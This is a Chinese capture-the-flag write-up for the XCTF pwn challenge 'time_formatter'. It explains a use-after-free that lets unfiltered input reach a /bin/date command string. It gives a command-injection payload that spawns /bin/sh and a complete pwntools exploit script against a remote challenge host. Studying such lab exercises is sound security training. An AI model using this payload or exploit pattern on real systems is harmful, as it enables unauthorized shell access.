XCTF PWN高手进阶区之time_formatter

这是第一道堆溢出题目,
程序执行选项1时,通过strdup函数申请了一块内存保存用户输入的时间格式字符串,执行选项三时,同样 通过strdup申请了一块内存用于存放用户输入的时区字符串,执行选项五时,首先释放这两块内存,然后,询问是否真的退出,此时,用户选择不退出时,程序继续回到开始执行。而此时,前两块申请的内存已被释放,未将指针置为NULL。造成UAF漏洞。
由于选项一读取用户输入内容时,会过滤,只允许时间格式所需的字符存在,因此,此处通过选项三再次申请与上次相同大小的内存,系统会分配之前选项一申请后又被释放的那块内存空间,而选项三在读取用户输入内容时,未经过滤!
此时,执行选项四打印时间,程序会利用之前第一步未被置为NULL的指针,该指针此时指向选项三申请的内存地址空间,即/bin/sh的存储地址,因此,可以绕过过滤,执行指令。
由于程序在获取时间时使用的指令字符串为:/bin/date -d @%d ‘%s’。
因此,执行选项三时输入的字符串为: “’;/bin/sh;’ “。第一个’用于闭合’%s’的前一个单引号。
exp:
from pwn import *
p=remote(‘111.198.29.45’,‘46139’)
print p.recv()
p.sendline(‘1’)
print p.recv()
p.sendline(‘aaaaaaaa’)
print p.recvuntil(‘5) Exit.\n’)
p.sendline(‘5’)
print p.recv()
p.sendline(‘N’)
print p.recvuntil(‘5) Exit.\n’)
p.sendline(‘3’)
print p.recv()
p.sendline(”’;/bin/sh;’”)
p.sendline(‘4’)
p.interactive()

你可能感兴趣的:(Pwn)